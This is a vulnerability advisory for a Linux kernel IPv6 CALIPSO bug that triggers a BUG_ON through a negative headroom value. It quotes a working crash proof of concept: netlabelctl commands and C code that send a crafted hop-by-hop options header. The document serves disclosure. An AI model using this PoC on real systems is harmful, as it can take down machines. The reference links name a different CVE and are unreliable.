CVE-2025-71085

Description

In the Linux kernel, the following vulnerability has been resolved:ipv6: BUG() in pskb_expand_head() as part of calipso_skbuff_setattr()There exists a kernel oops caused by a BUG_ON(nhead < 0) atnet/core/skbuff.c:2232 in pskb_expand_head().This bug is triggered as part of the calipso_skbuff_setattr()routine when skb_cow() is passed headroom > INT_MAX(i.e. (int)(skb_headroom(skb) + len_delta) < 0).The root cause of the bug is due to an implicit integer cast in__skb_cow(). The check (headroom > skb_headroom(skb)) is meant to ensurethat delta = headroom - skb_headroom(skb) is never negative, otherwisewe will trigger a BUG_ON in pskb_expand_head(). However, ifheadroom > INT_MAX and delta <= -NET_SKB_PAD, the check passes, deltabecomes negative, and pskb_expand_head() is passed a negative value fornhead.Fix the trigger condition in calipso_skbuff_setattr(). Avoid passingnegative headroom sizes to skb_cow() within calipso_skbuff_setattr()by only using skb_cow() to grow headroom.PoC:Using netlabelctl tool: netlabelctl map del default netlabelctl calipso add pass doi:7 netlabelctl map add default address:0::1/128 protocol:calipso,7 Then run the following PoC: int fd = socket(AF_INET6, SOCK_DGRAM, IPPROTO_UDP); // setup msghdr int cmsg_size = 2; int cmsg_len = 0x60; struct msghdr msg; struct sockaddr_in6 dest_addr; struct cmsghdr * cmsg = (struct cmsghdr *) calloc(1, sizeof(struct cmsghdr) + cmsg_len); msg.msg_name = &dest_addr; msg.msg_namelen = sizeof(dest_addr); msg.msg_iov = null; msg.msg_iovlen = 0; msg.msg_control = cmsg; msg.msg_controllen = cmsg_len; msg.msg_flags = 0; // setup sockaddr dest_addr.sin6_family = AF_INET6; dest_addr.sin6_port = htons(31337); dest_addr.sin6_flowinfo = htonl(31337); dest_addr.sin6_addr = in6addr_loopback; dest_addr.sin6_scope_id = 31337; // setup cmsghdr cmsg->cmsg_len = cmsg_len; cmsg->cmsg_level = IPPROTO_IPV6; cmsg->cmsg_type = IPV6_HOPOPTS; char * hop_hdr = (char *)cmsg + sizeof(struct cmsghdr); hop_hdr[1] = 0x9; //set hop size - (0x9 + 1) * 8 = 80 sendmsg(fd, &msg, 0);

Risk Information

Associated Vulnerability

Patch Details

References

https://nvd.nist.gov/vuln/detail/CVE-2023-1234
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-1234